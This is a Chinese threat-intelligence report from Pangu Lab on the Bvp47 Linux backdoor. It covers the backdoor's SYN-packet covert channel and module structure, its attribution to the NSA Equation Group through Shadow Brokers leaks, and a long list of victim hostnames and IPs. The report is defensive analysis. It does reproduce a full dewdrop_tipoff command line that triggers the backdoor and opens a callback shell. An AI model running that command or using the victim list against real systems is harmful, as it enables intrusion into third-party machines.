
Bvp47
美国NSA方程式的顶级后门
技术细节

版本1.7



目录Contents
1. 摘要

2. 前所未见的后门

3. 后门程序概览 – Bvp47

4. 组织关联和溯源

“The Shadow Brokers Leaks”事件关联

非对称算法私钥匹配

样本深度关联

完整控制命令行

斯诺登事件关联

Bvp47—美国 NSA 方程式组织的顶级后门

文件结构

文件属性

文件结构

使用场景

4

4

4

6

1

2

4

8

8

9

9

12

13

15

5. 遍布全球的受害者

泄露出的受害者信息

利用受害主机作为跳板攻击目标

6. Bvp47后门技术详解

主要行为

Payload

字符串加解密

函数名混淆技巧

Bvp 引擎

系统 Hook

内核模块防检测

BPF 隐蔽信道

信道加密与解密

运行环境检测

其它技术特点

16

16

26

27

27

28

31

32

33

38

45

45

48

50

51

7. 总结 52

8. 参考资源 53

www.pangulab.cn北京奇安盘古实验室科技有限公司



1. 摘要
2013年，盘古实验室研究员在针对某国内要害部门主机的调查过程中，提取了一个经过复杂加密

的Linux平台后门，其使用的基于SYN包的高级隐蔽信道行为和自身的代码混淆、系统隐藏、自毁设计

前所未见。在不能完全解密的情况下，进一步发现这个后门程序需要与主机绑定的校验码才能正常运

行，随后研究人员又破解了校验码，并成功运行了这个后门程序，从部分行为功能上断定这是一个顶

级APT后门程序，但是进一步调查需要攻击者的非对称加密私钥才能激活远控功能，至此研究人员的

调查受阻。基于样本中最常见的字符串“Bvp”和加密算法中使用数值0x47，命名为“Bvp47”。 

2016年，知名黑客组织“影子经纪人”（The Shadow Brokers）宣称成功黑进了“方程式组

织”，并于2016年和2017年先后公布了大量“方程式组织”的黑客工具和数据。盘古实验室成员从

“影子经纪人”公布的文件中，发现了一组疑似包含私钥的文件，恰好正是唯一可以激活Bvp47顶级

后门的非对称加密私钥，可直接远程激活并控制Bvp47顶级后门。可以断定，Bvp47是属于“方程式

组织”的黑客工具。研究人员通过进一步研究发现，“影子经纪人”公开的多个程序和攻击操作手

册，与2013年前美国中情局分析师斯诺登在“棱镜门”事件中曝光的NSA网络攻击平台操作手册[参考

3、4]中所使用的唯一标识符完全吻合。鉴于美国政府以“未经允许传播国家防务信息和有意传播机密

情报”等三项罪名起诉斯诺登，可以认定“影子经纪人”公布的文件确属NSA无疑，这可以充分证

明，方程式组织隶属于NSA，即Bvp47是NSA的顶级后门。“影子经济人”的文档揭示受害范围超过

45个国家287个目标，包括俄罗斯、日本、西班牙、德国、意大利等，持续十几年时间，某日本受害

者被利用作为跳板对目标发起攻击。

盘古实验室为多起Bvp47同源样本事件起了一个代号“电幕行动”。电幕（Telescreen）是英国

作家乔治·奥威尔在小说《1984》中想象的一个设备，可以用来远程监控部署了电幕的人或组织，“思

想警察”可以任意监视任意电幕的信息和行为。

方程式组织是世界超一流的网络攻击组织，普遍认为隶属于美国国家安全局NSA。从所获取的包

括Bvp47在内的相关攻击工具平台来看，方程式组织确实堪称技术一流，工具平台设计良好、功能强

大、广泛适配，底层以0day漏洞体现的网络攻击能力在当时的互联网上可以说畅通无阻，获取被隐秘

控制下的数据如探囊取物，在国家级的网空对抗中处于主导地位。
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2. 前所未见的后门
2015年某月，某客户部署的高级威胁检测系统提示特殊网络入侵告警，且重要服务器之间存在可

疑的通信活动，事件响应过程中在网络中的几个节点位置抓包并获取了服务器的磁盘镜像。经过初步

分析，系统网络中至少两台服务器已经被入侵并被植入了后门，而且存在比较大量地数据外泄迹象。

事件调查涉及3台服务器，1台为外部攻击来源的主机A，另外2台内部受影响服务器V1（邮件服务

器）和V2（某业务服务器）。外部主机A与V1服务器存在非正常的通信。具体表现在A先向V1服务器

的80端口发送一个带有264字节Payload的SYN包（正常的SYN包一般不带Payload），之后V1服务器

立即向A机器的高端端口发起对外连接并保持交换大量数据，数据通信是加密的。

与此几乎同时，V1服务器连接V2服务器的SMB服务并执行一些敏感操作，包括使用管理员账号登

录到V2服务器、尝试打开终端服务、枚举目录、通过计划任务执行Powershell脚本等。

同时发生的还有，V2服务器连接V1服务器的8081端口下载可疑文件，包含了Powershell脚本及

第二阶段的加密数据。

V1服务器的8081端口上启动了一个Python实现的简易HTTP服务器，V2服务器从上面获取了两个

文件：index.html及index.htm。其中，index.html为一个经过Base64编码的Powershell脚本，此脚

本在服务器上获得执行以后会继续从V1服务器上下载一个名为index.htm的文件，内容Base64编码过

的数据，但解码以后发现是不可读的字串，通过对执行下载index.htm的Powershell脚本的分析证明

这是一段通过非对称加密的数据。

接下来，V2服务器连接V1服务器的高端端口，以一种自有协议进行通信，大量交互的传输数据是

加密的。
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基于以上的观察从以上的分析可以推论V1/V2服务器都已被植入了后门，整合A机器、V1/V2服务

器的整体交互情况，我们可以对机器之间的通信过程有如下的还原：

A机器连接V1服务器的80端口发送敲门请求，启动V1服务器上的后门程序；

V1服务器反向连接A机器高端端口建立数据通路；

V2服务器连接V1服务器上开启的后门Web服务，从V1服务器获取PowerShell执行；

V1服务器连接V2服务器的SMB服务端口进行命令操作；

V2服务器在高端端口与V1服务器建立连接采用自有加密协议进行数据交互；

V1服务器同步与A机器进行数据交互，V1服务器充当A机器与V2服务器之间的数据中转；

这是之前从来没有见过的后门通信技术，暗示背后一个强大技术能力的组织。
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 Bvp47 的基本文件结构包括 loader 和 payload 两部分，loader 主要负责 payload 的解密和内存加

载，payload 是经过压缩，加密处理的，18个分片被简单的分成三大类型T0、T1、T2，命名为

Slice0x00-Slice0x11：

-  T0{Slice0x00}

-  T1{Slice0x01-Slice0x10}

-  T2{Slice0x11}

经过解压分析后，Bvp47 的 18 个分片大小如下：

3. 后门程序概览 – Bvp47
经过一番努力，取证团队成功地在受入侵的机器上提取了后门文件，发现在样本文件中比较常见

字符串“Bvp”以及在加密算法中使用数值0x47，暂将样本文件命名为“Bvp47”。

文件结构

文件属性 

文件结构

文件名

Hash（MD5）

大小

文件路径

平台

initserial 或其它

58b6696496450f254b1423ea018716dc

299,148 字节

/usr/bin/modload

Linux

ELF

Payload
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根据每个分片所使用的 Bvp 引擎接口调用个数(Bvp 引擎介绍见文中其它章节)和导出函数个数对 

18 个分片作了整理，具体如下（红色部分为需重点关注模块）：  

序号 主要功能 Bvp引用个数 导出函数 备注

0x00 

0x01 

0x02 

0x03 

0x04 

0x05 

0x06 

0x07 

0x08 

0x09 

0x0A 

0x0B 

0x0C

0x0D

0x0E

0x0F

0x10

0x11 

190 

490 

5 

14 

3 

16 

152 

264 

17 

3 

14 

0 

0

0 

0 

94 

0 

0 

192  

8  

9  

2  

3 

10 

10 

3 

8 

0 

0 

0

15 

0 

17 

0  

 

 

 

 

 

 

 

 

 

 

1 个 init 函数 

 

module_main

module_main 

module_main  

检测运行环境 

 

 

 

 

 

 

 

 

 

 

非代码模块，Bvp 偏移数据库

Dewdrops

SectionChar_Agent

非代码模块，Bvp 偏移数据库

PATh=. crond 
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团队在自己搭建的环境中重现了Bvp47后门的运用，大致理清了其使用场景和基本通信机制。 

Bvp47作为入侵成功后长期控制被害者的重要后门平台，一般存活在和互联网通信的非军事区的 Linux 

操作系统中，在整体攻击中主要承担核心的控制桥梁通信作用，如下图所示：

攻击者（敲门SYN包）

互联网（例如：443）

TCP

纵深渗透

路由器、防火墙

网关

内部服务器 DMZ
Email服务器等

Hacker

使用场景

在分析后，还原了实际的网络攻击数据包流程。 
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Bvp47 利用常见的网络检测设备一般不会对 TCP 握手期间的数据包做检测的弱点，使用在第一个 

SYN 包中夹带数据的方式来躲避网络安全设备的检测。 

在本文后面环节的分析中，Bvp47 的隐蔽通信体系是一个从密码学，网络，Linux 操作系统等多个

层面上构建出来的高级攻击体系，可以称它为高级版的“SYNKnock”（之前的Cisco只有简单校验）。 

【步骤 1】 提到的 SYN 包中的 payload 数据如下： 

【步骤 3】 受害 IP 在 TCP 握手成功后发包内容如下： 

1.  一旦控制端（192.168.91.131）发送一次带一定长度的特定 payload（长度 136 字节）的 TCP 协 

    议SYN 包给“受害 IP”（192.168.91.128）的1357 端口（可直接复用存活端口）； 

2.“受害 IP”（192.168.91.128）接收到该特殊 SYN 包后立即按照指令执行连接操作到“控制端”的 

     2468 端口； 

3.“受害 IP”（192.168.91.128）进入被控制流程 ；

Bvp47 和控制端的隐蔽通信场景，流程如下： 
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2016年，名为The Shadow Broker（影子经纪人）的黑客组织公布了eqgrp-free-file.tar.xz.gpg, 

eqgrp-auction-file.tar.xz.gpg两个压缩文件，声称攻陷了美国NSA的方程式组织，压缩文件重包含了

方程式组织的大量黑客工具。其中eqgrp-free-file.tar.xz.gpg压缩文件提供公开下载以供查验，另一份

以时价100万枚比特币出售eqgrp-auction-file.tar.xz.gpg文件的解压密码，但有价无市，选择于2017

年4月公布了eqgrp-auction-file.tar.xz.gpg解压密码。

在针对eqgrp-auction-file.tar.xz.gpg文件分析过程中，发现 Bvp47和压缩包中的攻击工具有技术

确定性的关联，主要包括 dewdrops，sutionchar_agents, tipoffs，StoicSurgeon，insision 等目

录，其中文件dewdrops_tipoffs中包含了Bvp47进行RSA公私钥通信所需的私钥，在此基础上可以确

认 Bvp47 是出自“方程式组织”之手。 

其中 dewdrops，sutionchar_agents 是被作为组成功能集成在 Bvp47 样本平台中，tipoffs 目录

则是 Bvp47 远程通信的控制端。 

4. 组织关联和溯源
“The Shadow Brokers Leaks”事件关联 
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在 tipoffs 目录下包含了 Bvp47 隐蔽信道环节中的RSA非对称算法私钥，只有在拥有该RSA私钥的

基础上才能真正触发 Bvp47 的命令执行等操作。 

非对称算法私钥匹配

在eqgrp-auction-file.tar.xz.gpg文件\Linux\doc\old\etc\目录下的user.tool.stoicsur-

geon.COMMON文件，描述了tipoff-BIN工具使用方法，同时也透露出了一系列的信息：

1. Bvp47后门中包含的Dewdrop模块，是可以直接被tipoff通过非对称密钥触发的；

2. COMMON文件中的后门“StoicSurgeon”，即坚忍的外科医生，多平台的高级rootkit后门，

    可以和Dewdrop模块搭配使用；

3. “StoicSurgeon”还有个小兄弟，“Incision”，即切口，亦是rootkit后门；

4. 入侵过程中，”Incision”可以升级为”StoicSurgeon”；

样本深度关联 
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Dewdrop支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris等。

StoicSurgeon支持的操作系统基本全面覆盖了主流的Linux发行版、JunOS、FreeBSD、Solaris

等。
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文件“user.tool.linux.remove_install_ss.COMMON”中提供了如何从Incision到Stoicsurgeon

的升级方法。
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完整控制命令行 
通过以下命令行操作可以直接远程控制 Bvp47 后门进行反弹回连操作： 

其中，ish对应在\eqgrp-auction-file\Linux\bin目录下的文件ish，结合其泄露的ish工具成功激

活了后门Bvp47，完成远程下载执行功能，开启远程shell。

#./tipoffs/dewdrop_tipoff --trigger-address 11.22.33.44 --target-address 
12.34.56.78 --target-protocol tcp --target-port 1357 --callback-address 13.24.57.68 
--callback-port 2468 --start-ish 
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2013年12月，德国媒体《明镜》发布了一份NSA ANT catalog，共50张图片，这是一系列NSA

于2008-2009编写的绝密资料，包括了一系列高级黑客工具的使用，信息来自于当年“爆料”的爱德

华斯诺登或第二个未知的情报提供者[参考3]。

NSA ANT catalog中的FOXACID-Server-SOP-Redacted.pdf文件[参考4]，即”酸狐狸”计划—

服务器标准作业流程修订版，NSA漏洞攻击作业平台功能描述和使用手册，在这份标准作业文件中描

述了作业所需强制性的唯一标识代码，"ace02468bdf13579"。

斯诺登事件关联 

此外，还有别的命令可以远程执行指定程序：
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在The Shadow Brokers泄露的eqgrp-free-file.tar.xz.gpg压缩文中，\eqgrp-free-file\Firewall\-

BANANAGLEE\BG3000\Install\LP\Modules\PIX\目录下的SecondDate-3021.exe可执行文件，亦

存在"ace02468bdf13579"唯一标识代码，且文件名SecondDate符合标准作业文档描述。

如果说SecondDate-3021.exe只是一个巧合。泄露的工具集中与代号为SecondDate工具相关的

47个文件中，中都出现了"ace02468bdf13579"这一字符串，这显然就不是什么巧合可以解释的了吧。 

且在一个名为\eqgrp-free-file\Firewall\SCRIPTS\目录下的SecondDate文件，描述了SecenData

的使用方法，与之前提到FOXACID-Server-SOP-Redacted.pdf描述一致。
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而且在“EquationGroup-master\Linux\etc”目录下的opscript.txt中也明确了STOICSURGEON

与SECONDDATE程序的关系：

因此，有足够理由认为2016、2017年The Shadow Brokers泄露的两个压缩文件属于NSA方程式

组织的黑客攻击工具。

1.  NSA ANT catalog的材料FOXACID-Server-SOP-Redacted.pdf中所提到的黑客工具中的唯一特征

    标识符” ace02468bdf13579”在”The Shadow Brokers Leaks”的工具集中多次出现；

2.  Bvp47后门程序的RSA私钥存在于” The Shadow Brokers Leaks”的工具tipoff-BIN中；

3.  使用” The Shadow Brokers Leaks”的工具tipoff-BIN可以直接激活后门程序Bvp47的Dewdrops

     模块的隐蔽信道，Dewdrops和STOICSURGEON等工具同属于一个后门系列;

4.  最终确定Bvp47后门是由” The Shadow Brokers Leaks”工具模块拼装成的，即Bvp47属于美国  

     NSA下的“方程式”组织的顶级后门；

Bvp47—美国NSA方程式组织的顶级后门
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泄露出的受害者信息

5. 遍布全球的受害者 

在eqgrp-auction-file.tar.xz.gpg文件\Linux\bin\varkeys\pitchimpair\目录下提供了提供了一份

潜在的Dewdrops、StoicSurgeon和Incision后门受害者列表，受害者遍布全球，也包括部分中国地区

的要害单位，且实际受影响目标不止于此：

域名 IP 国家 详细信息

sonatns.sonatrach.dz

enterprise.telesat.com.co

voyager1.telesat.com.co

metcoc5cm.clarent.com

iti-idsc.net.eg

mbox.com.eg

pksweb.austria.eu.net

opserver01.iti.net.pk

sussi.cressoft.com.pk

ns1.multi.net.pk

mpkhi-bk.multi.net.pk

tx.micro.net.pk

193.194.75.35

66.128.32.67

66.128.32.68

213.132.50.10

163.121.12.2

213.212.208.10

193.154.165.79

202.125.138.184

202.125.140.194

202.141.224.34

202.141.224.40

203.135.2.194

阿尔及利亚

阿根廷

阿根廷

阿联酋

埃及

埃及

奥地利

巴基斯坦

巴基斯坦

巴基斯坦

巴基斯坦

巴基斯坦

阿尔及利亚 

北美地区 

北美地区 

阿联酋DU电信

埃及 

埃及 

奥地利 

巴基斯坦 

巴基斯坦 

巴基斯坦 

巴基斯坦 

巴基斯坦 
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pop.net21pk.com

connection1.connection.com.br

connection2.connection.com.br

vnet3.vub.ac.be

debby.vub.ac.be

theta.uoks.uj.edu.pl

rabbit.uj.edu.pl

okapi.ict.pwr.wroc.pl

ids2.int.ids.pl

most.cob.net.ba

webnetra.entelnet.bo

ns1.btc.bw

203.135.45.66

200.160.208.4

200.160.208.8

134.184.15.13

134.184.15.79

149.156.89.30

149.156.89.33

156.17.42.30

195.117.3.32

195.222.48.5

166.114.10.28

168.167.168.34

巴基斯坦

巴西

巴西

比利时

比利时

波兰

波兰

波兰

波兰

波斯尼亚

玻利维亚

博茨瓦纳

巴基斯坦 

巴西圣保罗

巴西圣保罗

比利时布鲁塞尔自由大学

比利时布鲁塞尔自由大学

波兰academic centre in Southern Poland

波兰academic centre in Southern Poland

波兰教育网

波兰 

波斯尼亚和黑塞哥维那 

玻利维亚 

博茨瓦纳 

mailhost.fh-muenchen.de

sunbath.rrze.uni--erlangen.de

niveau.math.uni-bremen.de

s03.informatik.uni-bremin.de

kalliope.rz.unibw--muenchen.de

kommsrv.rz.unibw-muenchen.de

servercip92.e-technik.uni-rostock.de

paula.e-technik.uni-rostock.de

pastow.e-technik.uni-rostock.de

xilinx.e-technik.uni-rostock.de

asic.e-technik.uni-rostock.de

jupiter.mni.fh.giessen.de

129.187.244.204

131.188.3.200

134.102.124.201

134.102.201.53

137.193.10.12

137.193.10.8

139.30.200.132

139.30.200.225

139.30.200.36

139.30.202.12

139.30.202.8

212.201.7.17

德国

德国

德国

德国

德国

德国

德国

德国

德国

德国

德国

德国

德国巴伐利亚州慕尼黑市
Leibniz Rechenzentrum公司

德国埃尔朗根-纽伦堡大学

德国不来梅大学

德国不来梅大学

德国慕尼黑联邦国防军大学

德国慕尼黑联邦国防军大学

德国 

德国 

德国 

德国 

德国 

德国吉森-弗里德贝格应用技术大学

saturn.mni.fh-giessen.de

n02.unternehmen.com

no1.unternehemen.com

no3.unternehmen.org

unk.vver.kiae.rr

sunhe.jinr.ru

mail.ioc.ac.ru

www.nursat.kz

kserv.krldysh.ru

ns2.rosprint.ru

gate.technopolis.kirov.ru

jur.unn.ac.ru

212.201.7.21

62.116.144.147

62.116.144.150

62.116.144.190

144.206.175.2

159.93.18.100

193.233.3.6

194.226.128.26

194.226.57.53

194.84.23.125

217.9.148.61

62.76.114.22

德国

德国

德国

德国

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

德国吉森-弗里德贝格应用技术大学

德国巴伐利亚州慕尼黑InterNetX公司

德国巴伐利亚州慕尼黑InterNetX公司

德国巴伐利亚州慕尼黑InterNetX公司

俄罗斯Kurchatov原子能研究所

俄罗斯dubna university

俄罗斯 

俄罗斯 

俄罗斯 

俄罗斯 

俄罗斯 

俄罗斯 
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ns1.bttc.ru

spirit.das2.ru

m0-s.san.ru

tayuman.info.com.ph

ns2-backup.tpo.fi

mail.tpo.fi

ns.youngdong.ac.kr

ns1.youngdong.ac.kr

ns.kix.ne.kr

ns.khmc.or.kr

ns.hanseo.ac.kr

mail.hanseo.ac.kr

e3000.hallym.ac.kr

win.hallym.ac.kr

mail.hallym.ac.kr

dcproxy1.thrunet.com

mail.mae.co.kr

ns2.ans.co.kr

ns.eyes.co.kr

ftp.hyunwoo.co.kr

jumi.hyunwoo.co.kr

mail.utc21.co.kr

doors.co.kr

orange.npix.net

210.115.225.16

210.115.225.17

210.115.225.25

210.117.65.44

210.118.179.1

210.126.104.74

210.98.224.88

211.232.97.195

211.232.97.217

211.40.103.194

211.43.193.9

211.43.194.48

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国 

韩国 

韩国 

韩国 

韩国 

韩国青州

韩国 

韩国 

韩国 

韩国LG DACOM

韩国 

韩国 

80.82.162.118

81.94.47.83

88.147.128.28

203.172.11.21

193.185.60.40

193.185.60.42

202.30.58.1

202.30.58.5

202.30.94.10

203.231.128.1

203.234.72.1

203.234.72.4

俄罗斯联邦

俄罗斯联邦

俄罗斯联邦

菲律宾

芬兰

芬兰

韩国

韩国

韩国

韩国

韩国

韩国

俄罗斯 

俄罗斯 

俄罗斯 

菲律宾 

芬兰 

芬兰 

韩国 

韩国 

韩国National Infomation Society Agency

韩国KYUNG-HEE UNIVERSITY

韩国KT电信

韩国KT电信

sky.kies.co.kr

smuc.smuc.ac.kr

ns.anseo.dankook.ac.kr

myhome.elim.net

ns.kimm.re.kr

mail.howon.ac.kr

ns.hufs.ac.kr

san.hufs.ac.kr

ns.icu.ac.kr

winner.hallym.ac.kr

ns.hallym.ac.kr

winners.yonsei.ac.kr

203.236.114.1

203.237.176.1

203.237.216.2

203.239.130.7

203.241.84.10

203.246.64.14

203.253.64.1

203.253.64.2

210.107.128.31

210.115.225.10

210.115.225.11

210.115.225.14

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国

韩国 

韩国教育网

韩国教育网

韩国 

韩国KOREA INSTITUTE OF MACHINERY 
& MATERIALS

韩国教育网

韩国Hankuk University of Foreign Studies

韩国Hankuk University of Foreign Studies

韩国世宗大学

韩国 

韩国 

韩国 
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seoildsp.co.kr

logos.uba.uva.nl

opcwdns.opcw.nl

nl37.yourname.nl

ns.gabontelecom.com

itellin1.eafix.net

ns1.starnets.ro

ns2.chem.tohoku.ac.jp

ns.global-one.dk

eol1.egyptonline.com

rayo.pereira.multi.net.co

mn.mn.co.cu

smtp.bangla.net

ns1.bangla.net

mail.bangla.net

dns2.unam.mx

dns1.unam.mx

ns.unam.mx

sedesol.sedesol.gob.mx

www.pue.uia.mx

docs.ccs.net.mx

info.ccs.net.mx

segob.gob.mx

mercurio.rtn.net.mx

mercurio.rtn.net.mx

ciidet.rtn.net.mx

tuapewa.polytechnic.edu.na

sunfirev250.cancilleria.gob.ni

ccmman.rz.unibw--muenchen.de

unknown.unknown

www21.counsellor.gov.cn

mbi3.kuicr.kyoto-u.ac.jp

cs-serv02.meiji.ac.jp

icrsun.kuicr.kyoto-u.ac.jp

icrsun.kuicr.kyoto-u.ac.jp

sunl.scl.kyoto-u.ac.jp

218.36.28.250

145.18.84.96

195.193.177.150

82.192.68.37

217.77.71.52

212.49.95.133

193.226.61.68

130.134.115.132

194.234.33.5

206.48.31.2

206.49.164.2

216.72.24.114

203.188.252.10

203.188.252.2

203.188.252.3

132.248.10.2

132.248.204.1

132.248.253.1

148.233.6.164

192.100.196.7

200.36.53.150

200.36.53.160

200.38.166.2

204.153.24.1

204.153.24.14

204.153.24.32

196.31.225.2

165.98.181.5

137.93.10.6

125.10.31.145

130.34.115.132

133.103.101.21

133.26.135.224

133.3.5.2

133.3.5.20

133.3.5.30

韩国

荷兰

荷兰

荷兰

加蓬

肯尼亚

罗马尼亚

美国

美国

美国

美国

美国

孟加拉

孟加拉

孟加拉

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

墨西哥

南非

尼加拉瓜

挪威

日本

日本

日本

日本

日本

日本

日本

韩国 

荷兰 

荷兰 

荷兰阿姆斯特丹LeaseWeb IDC

加蓬 

肯尼亚 

罗马尼亚 

美国 

美国 

美国 

美国 

孟加拉 

孟加拉 

孟加拉 

墨西哥国立自治大学

墨西哥国立自治大学

墨西哥国立自治大学

墨西哥 

墨西哥 

墨西哥 

墨西哥 

墨西哥 

墨西哥 

墨西哥 

墨西哥 

纳米比亚 

尼加拉瓜国立工程大学

挪威 

日本ATHOME网络

日本东北大学

日本 

日本明治大学

日本京都大学

日本京都大学

日本京都大学
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uji.kyoyo-u.ac.jp

ci970000.sut.ac.jp

ns.bur.hiroshima-u.ac.jp

fl.sun-ip.or.jp

son-goki.sun-ip.or.jp

nodep.sun-ip.or.jp

hk.sun-ip.or.jp

ns1.sun-ip.or.jp

proxy1.tcn.ed.jp

photon.sci-museum.kita.osaka.jp

noc35.corp.home.ad.jp

noc37.corp.home.ad.jp

noc38.corp.home.ad.jp

noc33.corp.home.ad.jp

noc21.corp.home.ad.jp

noc23.corp.home.ad.jp

noc25.corp.home.ad.jp

noc26.corp.home.ad.jp

www2.din.or.jp

www3.din.or.jp

mail-gw.jbic.go.jp

mail.interq.or.jp

www.cfd.or.jp

hakuba.janis.or.jp

mx1.freemail.ne.jp

pitepalt.stacken.kth.se

snacks.stacken.kth.se

ns.stacken.kth.se

milko.stacken.kth.se

xn--selma-lagerlf-tmb.stacken.kth.se

xn--anna-ahlstrm-fjb.stacken.kth.se

www.bygden.nu

geosun1.unige.ch

scsun25.unige.ch

cmusun8.unige.ch

dns2.net1.it

133.3.5.33

133.31.106.46

133.41.145.11

150.27.1.10

150.27.1.11

150.27.1.2

150.27.1.5

150.27.1.8

202.231.176.242

202.243.222.7

203.165.5.114

203.165.5.117

203.165.5.118

203.165.5.74

203.165.5.78

203.165.5.80

203.165.5.82

203.165.5.83

210.135.90.7

210.135.90.8

210.155.61.54

210.157.0.87

210.198.16.75

210.232.42.3

210.235.164.21

130.237.234.151

130.237.234.152

130.237.234.17

130.237.234.3

130.237.234.51

130.237.234.53

192.176.10.178

129.194.41.4

129.194.49.47

129.194.97.8

213.140.195.7

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

日本

瑞典

瑞典

瑞典

瑞典

瑞典

瑞典

瑞典

瑞士

瑞士

瑞士

塞浦路斯

日本京都大学

日本东京理科大学

日本 

日本 

日本 

日本 

日本 

日本 

日本SINET

日本东京威力科创

日本 

日本 

日本 

日本 

日本 

日本 

日本 

日本 

日本 

日本 

日本东京市KDDI通信公司

日本GMO

日本 

日本KDDI

日本KDDI

瑞典 

瑞典 

瑞典 

瑞典 

瑞典 

瑞典 

瑞典 

瑞士日内瓦大学

瑞士日内瓦大学

瑞士日内瓦大学

塞浦路斯 
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sparc.nour.net.sa 212.12.160.26 沙特阿拉伯

沙特阿拉伯

沙特阿拉伯

沙特阿拉伯

212.138.48.8

212.26.44.132

212.70.32.100

mail.imamu.edu.sa

kacstserv.kacst.edu.sa

mail.jccs.com.sa

沙特阿拉伯Nour Communication 
Co.Ltd-Nournet

沙特阿拉伯King Abdul Aziz City for 
Science and Technology

沙特阿拉伯King Abdul Aziz City for 
Science and Technology

沙特阿拉伯Jeraisy For Internet 
Services Co.Ltd

sci.s-t.au.ac.th

webmail.s-t.au.ac.th

mail.howon.ac.kr

nsce1.ji-net.com

war.rkts.com.tr

orion.platino.gov.ve

ltv.com.ve

msgstore2.pldtprv.net

splash-atm.upc.es

servidor2.upc.es

dukas.upc.es

moneo.upc.es

sun.bq.ub.es

oiz.sarenet.es

anie.sarenet.es

orhi.sarenet.es

iconoce1.sarenet.es

tologorri.grupocorreo.es

zanburu.grupocorreo.es

ganeran.sarenet.es

colpisaweb.sarenet.es

burgoa.sarenet.es

mtrader2.grupocorreo.es

mailgw.idom.es

168.120.9.1

168.120.9.2

203.146.64.14

203.147.62.229

195.142.144.125

161.196.215.67

200.75.112.26

192.168.120.3

147.83.2.116

147.83.2.3

147.83.2.62

147.83.2.91

161.116.154.1

192.148.167.17

192.148.167.2

192.148.167.5

194.30.0.16

194.30.32.109

194.30.32.113

194.30.32.177

194.30.32.229

194.30.32.242

194.30.32.29

194.30.33.29

泰国

泰国

泰国

泰国

土耳其

委内瑞拉

委内瑞拉

内部网

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

西班牙

泰国易三仓大学

泰国易三仓大学

泰国 

泰国 

土耳其 

委内瑞拉 

委内瑞拉 

内部网

西班牙加泰罗尼亚理工大学

西班牙加泰罗尼亚理工大学

西班牙加泰罗尼亚理工大学

西班牙加泰罗尼亚理工大学

西班牙巴塞罗那大学

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

西班牙 

ns2.otenet.gr

electra.otenet.gr

dragon.unideb.hu

laleh.itrc.ac.ir.

mailhub.minaffet.gov.rw

mail.irtemp.na.cnr.it

mail.univaq.it

195.170.2.1

195.170.2.3

193.6.138.65

80.191.2.2

62.56.174.152

140.164.20.20

192.150.195.10

希腊

希腊

匈牙利

伊朗

以色列

意大利

意大利

希腊 

希腊 

匈牙利 

伊朗 

意大利国家研究委员会

意大利 
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ns.univaq.it

matematica.univaq.it

sparc20mc.ing.unirc.it

giada.ing.unirc.it

mailer.ing.unirc.it

mailer.ing.unirc.it

192.167.50.12

192.167.50.14

192.167.50.2

192.167.50.202

意大利

意大利

意大利

意大利

192.150.195.20

192.150.195.38

意大利

意大利

意大利 

意大利 

bambero1.cs.tin.it

gambero3.cs..tin.it

mail.bhu.ac.in

mtccsun.imtech.ernet.in

axil.eureka.lk

mu-me01-ns-ctm001.vsnl.net.in

vsn1radius1.vsn1.net.in

vsnl-navis.emc-sec.vsnl.net.in

ns1.ias.ac.in

mail.tropmet.res.in

mail1.imtech.res.in

nd11mx1-a-fixed.sancharnet.in

194.243.154.57

194.243.154.62

202.141.107.15

202.141.121.198

202.21.32.1

202.54.4.39

202.54.4.61

202.54.49.70

203.197.183.66

203.199.143.2

203.90.127.22

61.0.0.46

意大利

意大利

印度

印度

印度

印度

印度

印度

印度

印度

印度

印度

意大利 

意大利 

印度Banaras Hindu University

印度教育网

印度 

印度 

印度 

印度 

印度 

印度 

印度 

ndl1pp1-a-fixed.sancharnet.in

bgl1dr1-a-fixed.sancharnet.in

bgl1pp1-a-fixed.sancharnet.in

mum1mr1-a-fixed.sancharnet.in

www.caramail.com

newin.int.rtbf.be

m16.kazibao.net

webshared-admin.colt.net

webshared-front2.colt.net

webshared-front3.colt.net

webshared-front4.colt.net

petra.nic.gov.jo

61.0.0.71

61.1.128.17

61.1.128.71

61.1.64.45

195.68.99.20

212.35.107.2

213.41.77.50

213.41.78.10

213.41.78.12

213.41.78.13

213.41.78.14

193.188.71.4

印度

印度

印度

印度

英国

英国

英国

英国

英国

英国

英国

约旦

印度 

印度 

印度 

印度 

英国 

英国 

英国 

英国 

英国 

英国 

约旦 

ns.cec.uchile.cl 200.9.97.3

159.226.*.*

159.226.*.*

159.226.*.*

智利

中国

中国

中国

智利 

意大利Universita' degli Studi 
Mediterranea di Reggio Calabria

意大利Universita' degli Studi 
Mediterranea di Reggio Calabria

意大利Universita' degli Studi 
Mediterranea di Reggio Calabria

意大利Universita' degli Studi 
Mediterranea di Reggio Calabria
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166.111.*.*

166.111.*.*

166.111.**.**

168.160.*.*

202.101.*.*

202.107.*.*

202.112.*.*

202.112.*.*

202.112.*.*

202.117.*.*

202.121.*.*

202.127.*.*

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

202.166.*.*

202.166.*.*

202.197.*.*

202.197.*.*

202.201.*.*

202.201.*.*

202.204.*.*

202.38.*.*

202.84.*.*

202.96.*.*

202.96.*.*

202.98.*.*

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

202.99.*.*

210.72.*.*

210.77.*.*

210.83.*.*

211.137.*.*

211.138.*.*

211.82.*.*

218.104.*.*

202.94.*.*

218.107.*.*

218.245.*.*

218.247.*.*

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国

中国
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mars.ee.nctu.tw

cad-server1.ee.nctu.edu.tw

218.29.*.*

218.29.*.*

222.22.*.*

61.151.*.*

202.175.*.*

202.175.*.*

202.175.*.*

202.175.*.*

202.175.*.*

202.175.*.*

140.113.212.13

140.113.212.150

中国

中国

中国

中国

中国澳门特别行政区

中国澳门特别行政区

